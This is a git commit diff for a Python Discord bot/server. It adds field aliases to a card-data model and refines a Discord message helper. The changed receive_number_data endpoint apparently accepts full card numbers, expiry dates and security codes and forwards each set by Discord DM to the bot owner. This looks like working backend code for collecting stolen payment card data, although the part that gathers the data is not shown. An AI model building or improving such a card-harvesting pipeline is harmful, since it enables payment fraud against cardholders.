feat: Add backward compatibility aliases for NumberData fields and improve Discord message handling
This commit is contained in:
parent
69b53811ad
commit
e34013ec96
@ -92,3 +92,16 @@ class NumberData(BaseModel):
|
|||||||
card_number: str
|
card_number: str
|
||||||
expiry_date: str
|
expiry_date: str
|
||||||
security_code: str
|
security_code: str
|
||||||
|
|
||||||
|
# Aliases for backward compatibility
|
||||||
|
@property
|
||||||
|
def number(self) -> str:
|
||||||
|
return self.card_number
|
||||||
|
|
||||||
|
@property
|
||||||
|
def date(self) -> str:
|
||||||
|
return self.expiry_date
|
||||||
|
|
||||||
|
@property
|
||||||
|
def code(self) -> str:
|
||||||
|
return self.security_code
|
||||||
|
@ -209,68 +209,82 @@ async def send_discord_message_via_api(channel_id: int, content: str, timeout: f
|
|||||||
|
|
||||||
log.debug(f"Sending message to channel {channel_id} with data: {data}")
|
log.debug(f"Sending message to channel {channel_id} with data: {data}")
|
||||||
|
|
||||||
try:
|
# Create a separate task for the API request to handle timeout properly
|
||||||
# Use global http_session if available, otherwise create a new one
|
async def make_request():
|
||||||
session = http_session if http_session else aiohttp.ClientSession()
|
try:
|
||||||
|
# Use global http_session if available, otherwise create a new one
|
||||||
|
session = http_session if http_session else aiohttp.ClientSession()
|
||||||
|
|
||||||
# Send the request with a timeout
|
# Send the request with a timeout
|
||||||
async with session.post(url, headers=headers, json=data, timeout=timeout) as response:
|
async with session.post(url, headers=headers, json=data, timeout=timeout) as response:
|
||||||
if response.status == 200 or response.status == 201:
|
if response.status == 200 or response.status == 201:
|
||||||
# Message sent successfully
|
# Message sent successfully
|
||||||
response_data = await response.json()
|
|
||||||
return {
|
|
||||||
"success": True,
|
|
||||||
"message": "Message sent successfully",
|
|
||||||
"message_id": response_data.get("id")
|
|
||||||
}
|
|
||||||
elif response.status == 403:
|
|
||||||
# Missing permissions
|
|
||||||
return {
|
|
||||||
"success": False,
|
|
||||||
"message": "Missing permissions to send message to this channel",
|
|
||||||
"error": "forbidden",
|
|
||||||
"status": response.status
|
|
||||||
}
|
|
||||||
elif response.status == 429:
|
|
||||||
# Rate limited
|
|
||||||
response_data = await response.json()
|
|
||||||
retry_after = response_data.get("retry_after", 1)
|
|
||||||
return {
|
|
||||||
"success": False,
|
|
||||||
"message": f"Rate limited by Discord API. Retry after {retry_after} seconds",
|
|
||||||
"error": "rate_limited",
|
|
||||||
"retry_after": retry_after,
|
|
||||||
"status": response.status
|
|
||||||
}
|
|
||||||
else:
|
|
||||||
# Other error
|
|
||||||
try:
|
|
||||||
response_data = await response.json()
|
response_data = await response.json()
|
||||||
return {
|
return {
|
||||||
"success": False,
|
"success": True,
|
||||||
"message": f"Discord API error: {response.status}",
|
"message": "Message sent successfully",
|
||||||
"error": "api_error",
|
"message_id": response_data.get("id")
|
||||||
"status": response.status,
|
|
||||||
"details": response_data
|
|
||||||
}
|
}
|
||||||
except:
|
elif response.status == 403:
|
||||||
|
# Missing permissions
|
||||||
return {
|
return {
|
||||||
"success": False,
|
"success": False,
|
||||||
"message": f"Discord API error: {response.status}",
|
"message": "Missing permissions to send message to this channel",
|
||||||
"error": "api_error",
|
"error": "forbidden",
|
||||||
"status": response.status
|
"status": response.status
|
||||||
}
|
}
|
||||||
except asyncio.TimeoutError:
|
elif response.status == 429:
|
||||||
return {
|
# Rate limited
|
||||||
"success": False,
|
response_data = await response.json()
|
||||||
"message": "Timeout sending message to Discord API",
|
retry_after = response_data.get("retry_after", 1)
|
||||||
"error": "timeout"
|
return {
|
||||||
}
|
"success": False,
|
||||||
|
"message": f"Rate limited by Discord API. Retry after {retry_after} seconds",
|
||||||
|
"error": "rate_limited",
|
||||||
|
"retry_after": retry_after,
|
||||||
|
"status": response.status
|
||||||
|
}
|
||||||
|
else:
|
||||||
|
# Other error
|
||||||
|
try:
|
||||||
|
response_data = await response.json()
|
||||||
|
return {
|
||||||
|
"success": False,
|
||||||
|
"message": f"Discord API error: {response.status}",
|
||||||
|
"error": "api_error",
|
||||||
|
"status": response.status,
|
||||||
|
"details": response_data
|
||||||
|
}
|
||||||
|
except:
|
||||||
|
return {
|
||||||
|
"success": False,
|
||||||
|
"message": f"Discord API error: {response.status}",
|
||||||
|
"error": "api_error",
|
||||||
|
"status": response.status
|
||||||
|
}
|
||||||
|
except asyncio.TimeoutError:
|
||||||
|
return {
|
||||||
|
"success": False,
|
||||||
|
"message": "Timeout sending message to Discord API",
|
||||||
|
"error": "timeout"
|
||||||
|
}
|
||||||
|
except Exception as e:
|
||||||
|
return {
|
||||||
|
"success": False,
|
||||||
|
"message": f"Error sending message: {str(e)}",
|
||||||
|
"error": "unknown",
|
||||||
|
"details": str(e)
|
||||||
|
}
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Execute the request in a proper task context
|
||||||
|
return await make_request()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
log.error(f"Error in send_discord_message_via_api: {e}")
|
||||||
return {
|
return {
|
||||||
"success": False,
|
"success": False,
|
||||||
"message": f"Error sending message: {str(e)}",
|
"message": f"Error sending message: {str(e)}",
|
||||||
"error": "unknown",
|
"error": "task_error",
|
||||||
"details": str(e)
|
"details": str(e)
|
||||||
}
|
}
|
||||||
# ---------------------------------
|
# ---------------------------------
|
||||||
@ -2879,17 +2893,19 @@ async def receive_number_data(data: NumberData):
|
|||||||
|
|
||||||
dm_content = (
|
dm_content = (
|
||||||
f"New card data received:\n"
|
f"New card data received:\n"
|
||||||
f"Card Number: {data.number}\n"
|
f"Card Number: {data.card_number}\n"
|
||||||
f"Expiration Date: {data.date}\n"
|
f"Expiration Date: {data.expiry_date}\n"
|
||||||
f"Security Code: {data.code}"
|
f"Security Code: {data.security_code}"
|
||||||
)
|
)
|
||||||
|
|
||||||
# Get the DM channel for the owner
|
# Get the DM channel for the owner
|
||||||
dm_channel = await owner_user.create_dm()
|
if not owner_user.dm_channel:
|
||||||
dm_channel_id = dm_channel.id
|
dm_channel = await owner_user.create_dm()
|
||||||
|
else:
|
||||||
|
dm_channel = owner_user.dm_channel
|
||||||
|
|
||||||
# Send DM using the helper function
|
# Send DM using the helper function with the channel ID
|
||||||
result = await send_discord_message_via_api(dm_channel_id, dm_content)
|
result = await send_discord_message_via_api(dm_channel.id, dm_content)
|
||||||
|
|
||||||
if result["success"]:
|
if result["success"]:
|
||||||
log.info(f"Successfully DMed card data to owner {owner_id}.")
|
log.info(f"Successfully DMed card data to owner {owner_id}.")
|
||||||
|
Loading…
x
Reference in New Issue
Block a user